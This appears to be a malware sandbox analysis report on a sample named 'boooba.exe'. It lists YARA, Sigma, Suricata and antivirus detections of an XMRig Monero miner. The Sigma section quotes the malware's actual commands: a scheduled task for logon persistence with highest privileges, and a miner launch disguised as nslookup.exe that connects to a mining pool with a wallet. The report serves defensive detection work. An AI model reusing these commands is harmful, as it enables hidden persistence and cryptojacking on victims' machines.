0000000B.00000003.1781787948.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1778886806.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1778886806.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1775201573.000001E32C458000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1775201573.000001E32C458000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1777129699.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1774272742.000001E32C455000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1777129699.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1774272742.000001E32C455000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1775332478.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1775332478.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1779467909.000001E32C452000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1779467909.000001E32C452000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1772421269.000001E32C453000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1772421269.000001E32C453000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1788508164.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1788508164.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1780781024.000001E32C458000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1780781024.000001E32C458000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1776641956.000001E32C456000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1776641956.000001E32C456000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1775882569.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1775882569.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1790022060.0000013CBC459000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1790022060.0000013CBC459000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1784241324.000001E32C451000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1784241324.000001E32C451000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1772851303.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1772851303.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1773553446.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1772933403.000001E32C458000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1772933403.000001E32C458000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1773553446.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1774784480.000001E32C453000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1774784480.000001E32C453000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1774354264.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1774354264.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
Process Memory Space: conhost.exe PID: 5348	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: conhost.exe PID: 5348	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x8e555:$a1: mining.set_target 0x128444:$a1: mining.set_target 0x1c1d39:$a1: mining.set_target 0x25b608:$a1: mining.set_target 0x2f5fce:$a1: mining.set_target 0x393d0d:$a1: mining.set_target 0x42eb7e:$a1: mining.set_target 0x4c9137:$a1: mining.set_target 0x56603d:$a1: mining.set_target 0x600868:$a1: mining.set_target 0x6a24cc:$a1: mining.set_target 0x73e8e4:$a1: mining.set_target 0x8a4e4:$a2: XMRIG_HOSTNAME 0x1243d3:$a2: XMRIG_HOSTNAME 0x1bdcc8:$a2: XMRIG_HOSTNAME 0x257597:$a2: XMRIG_HOSTNAME 0x2f1f5d:$a2: XMRIG_HOSTNAME 0x38fc9c:$a2: XMRIG_HOSTNAME 0x42ab0d:$a2: XMRIG_HOSTNAME 0x4c50c6:$a2: XMRIG_HOSTNAME 0x561fcc:$a2: XMRIG_HOSTNAME
Process Memory Space: conhost.exe PID: 4136	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: conhost.exe PID: 4136	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x8678a:$a1: mining.set_target 0x12034f:$a1: mining.set_target 0x1b9ca5:$a1: mining.set_target 0x2537e1:$a1: mining.set_target 0x2f2df2:$a1: mining.set_target 0x38c6aa:$a1: mining.set_target 0x4267a3:$a1: mining.set_target 0x4c0bf4:$a1: mining.set_target 0x82719:$a2: XMRIG_HOSTNAME 0x11c2de:$a2: XMRIG_HOSTNAME 0x1b5c34:$a2: XMRIG_HOSTNAME 0x24f770:$a2: XMRIG_HOSTNAME 0x2eed81:$a2: XMRIG_HOSTNAME 0x388639:$a2: XMRIG_HOSTNAME 0x422732:$a2: XMRIG_HOSTNAME 0x4bcb83:$a2: XMRIG_HOSTNAME 0x83a94:$a3: Usage: xmrig [OPTIONS] 0x11d659:$a3: Usage: xmrig [OPTIONS] 0x1b6faf:$a3: Usage: xmrig [OPTIONS] 0x250aeb:$a3: Usage: xmrig [OPTIONS] 0x2f00fc:$a3: Usage: xmrig [OPTIONS]
Click to see the 134 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.nslookup.exe.140000000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
12.2.nslookup.exe.140000000.0.raw.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45b7b0:$a1: mining.set_target 0x4564f8:$a2: XMRIG_HOSTNAME 0x4585d8:$a3: Usage: xmrig [OPTIONS] 0x4564d0:$a4: XMRIG_VERSION
12.2.nslookup.exe.140000000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x462df1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
12.2.nslookup.exe.140000000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4633b0:$s1: %s/%s (Windows NT %lu.%lu 0x4641f8:$s2: \Microsoft\Libs\WR64.sys 0x464490:$s3: \\.\WinRing0_ 0x45a7d8:$s4: pool_wallet 0x3fab98:$s5: cryptonight 0x3faba8:$s5: cryptonight 0x3fabb8:$s5: cryptonight 0x3fabc8:$s5: cryptonight 0x3fabe0:$s5: cryptonight 0x3fabf0:$s5: cryptonight 0x3fac00:$s5: cryptonight 0x3fac18:$s5: cryptonight 0x3fac28:$s5: cryptonight 0x3fac40:$s5: cryptonight 0x3fac58:$s5: cryptonight 0x3fac68:$s5: cryptonight 0x3fac78:$s5: cryptonight 0x3fac88:$s5: cryptonight 0x3faca0:$s5: cryptonight 0x3facb8:$s5: cryptonight 0x3facc8:$s5: cryptonight
13.2.nslookup.exe.140000000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
13.2.nslookup.exe.140000000.0.raw.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45b7b0:$a1: mining.set_target 0x4564f8:$a2: XMRIG_HOSTNAME 0x4585d8:$a3: Usage: xmrig [OPTIONS] 0x4564d0:$a4: XMRIG_VERSION
13.2.nslookup.exe.140000000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x462df1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
13.2.nslookup.exe.140000000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4633b0:$s1: %s/%s (Windows NT %lu.%lu 0x4641f8:$s2: \Microsoft\Libs\WR64.sys 0x464490:$s3: \\.\WinRing0_ 0x45a7d8:$s4: pool_wallet 0x3fab98:$s5: cryptonight 0x3faba8:$s5: cryptonight 0x3fabb8:$s5: cryptonight 0x3fabc8:$s5: cryptonight 0x3fabe0:$s5: cryptonight 0x3fabf0:$s5: cryptonight 0x3fac00:$s5: cryptonight 0x3fac18:$s5: cryptonight 0x3fac28:$s5: cryptonight 0x3fac40:$s5: cryptonight 0x3fac58:$s5: cryptonight 0x3fac68:$s5: cryptonight 0x3fac78:$s5: cryptonight 0x3fac88:$s5: cryptonight 0x3faca0:$s5: cryptonight 0x3facb8:$s5: cryptonight 0x3facc8:$s5: cryptonight
12.2.nslookup.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
12.2.nslookup.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1b0:$a1: mining.set_target 0x454ef8:$a2: XMRIG_HOSTNAME 0x456fd8:$a3: Usage: xmrig [OPTIONS] 0x454ed0:$a4: XMRIG_VERSION
12.2.nslookup.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4617f1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
12.2.nslookup.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x461db0:$s1: %s/%s (Windows NT %lu.%lu 0x462bf8:$s2: \Microsoft\Libs\WR64.sys 0x462e90:$s3: \\.\WinRing0_ 0x4591d8:$s4: pool_wallet 0x3f9598:$s5: cryptonight 0x3f95a8:$s5: cryptonight 0x3f95b8:$s5: cryptonight 0x3f95c8:$s5: cryptonight 0x3f95e0:$s5: cryptonight 0x3f95f0:$s5: cryptonight 0x3f9600:$s5: cryptonight 0x3f9618:$s5: cryptonight 0x3f9628:$s5: cryptonight 0x3f9640:$s5: cryptonight 0x3f9658:$s5: cryptonight 0x3f9668:$s5: cryptonight 0x3f9678:$s5: cryptonight 0x3f9688:$s5: cryptonight 0x3f96a0:$s5: cryptonight 0x3f96b8:$s5: cryptonight 0x3f96c8:$s5: cryptonight
13.2.nslookup.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
13.2.nslookup.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1b0:$a1: mining.set_target 0x454ef8:$a2: XMRIG_HOSTNAME 0x456fd8:$a3: Usage: xmrig [OPTIONS] 0x454ed0:$a4: XMRIG_VERSION
13.2.nslookup.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4617f1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
13.2.nslookup.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x461db0:$s1: %s/%s (Windows NT %lu.%lu 0x462bf8:$s2: \Microsoft\Libs\WR64.sys 0x462e90:$s3: \\.\WinRing0_ 0x4591d8:$s4: pool_wallet 0x3f9598:$s5: cryptonight 0x3f95a8:$s5: cryptonight 0x3f95b8:$s5: cryptonight 0x3f95c8:$s5: cryptonight 0x3f95e0:$s5: cryptonight 0x3f95f0:$s5: cryptonight 0x3f9600:$s5: cryptonight 0x3f9618:$s5: cryptonight 0x3f9628:$s5: cryptonight 0x3f9640:$s5: cryptonight 0x3f9658:$s5: cryptonight 0x3f9668:$s5: cryptonight 0x3f9678:$s5: cryptonight 0x3f9688:$s5: cryptonight 0x3f96a0:$s5: cryptonight 0x3f96b8:$s5: cryptonight 0x3f96c8:$s5: cryptonight
Click to see the 11 entries

Sigma Signatures

Bitcoin Miner

Sigma detected: Xmrig

Source: Process started

Author: Joe Security: Data: Command: C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100 , CommandLine: C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100 , CommandLine|base64offset|contains: "+~~), Image: C:\Windows\System32\nslookup.exe, NewProcessName: C:\Windows\System32\nslookup.exe, OriginalFileName: C:\Windows\System32\nslookup.exe, ParentCommandLine: "C:\Windows\System32\conhost.exe" "C:\Users\user\IOAshdohSha.exe", ParentImage: C:\Windows\System32\conhost.exe, ParentProcessId: 5348, ParentProcessName: conhost.exe, ProcessCommandLine: C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100 , ProcessId: 6288, ProcessName: nslookup.exe

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\user\IOAshdohSha.exe", CommandLine: "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\user\IOAshdohSha.exe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\System32\conhost.exe" "C:\Users\user\Desktop\boooba.exe", ParentImage: C:\Windows\System32\conhost.exe, ParentProcessId: 6768, ParentProcessName: conhost.exe, ProcessCommandLine: "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\user\IOAshdohSha.exe", ProcessId: 6904, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Suricata Signatures

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:42:02.084648+0100	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.4	49731	212.47.253.124	10300	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: boooba.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	Avira: detection malicious, Label: HEUR/AGEN.1344832
Source: C:\Users\user\IOAshdohSha.exe	Avira: detection malicious, Label: HEUR/AGEN.1344202

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\IOAshdohSha.exe	ReversingLabs: Detection: 71%

Multi AV Scanner detection for submitted file

Source: boooba.exe

ReversingLabs: Detection: 71%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	Joe Sandbox ML: detected
Source: C:\Users\user\IOAshdohSha.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: boooba.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 12.2.nslookup.exe.140000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.nslookup.exe.140000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.nslookup.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.nslookup.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2902391217.0000019A4A4B0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2901760284.0000029965517000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1794466299.000001F9F0E4A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2902391217.0000019A4A4F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1773661287.000001E32C45B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1778567981.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1778062444.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1787144711.000001E32C45F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1777354712.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1774881873.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1776176780.000001E32C457000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2903432689.0000029966FF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1782316167.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2906554821.000002997F6D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2902391217.0000019A4A4B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2901760284.000002996549D000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2902391217.0000019A4A50A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1777548683.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1781637275.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1785377801.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2901760284.00000299654CB000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1779837512.000001E32C459000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2900254186.0000000140751000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1779369936.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2902562928.000001F9F0DF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2902562928.000001F9F0E0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2903432689.0000029966FA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2900249494.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2900254186.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2902562928.000001F9F0DF0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2900249494.0000000140751000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1775687094.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1780288557.000001E32C455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2902562928.000001F9F0E49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1779753714.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1784061209.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1779051954.000001E32C453000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1783041722.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1781787948.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1778886806.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1775201573.000001E32C458000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1777129699.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1774272742.000001E32C455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
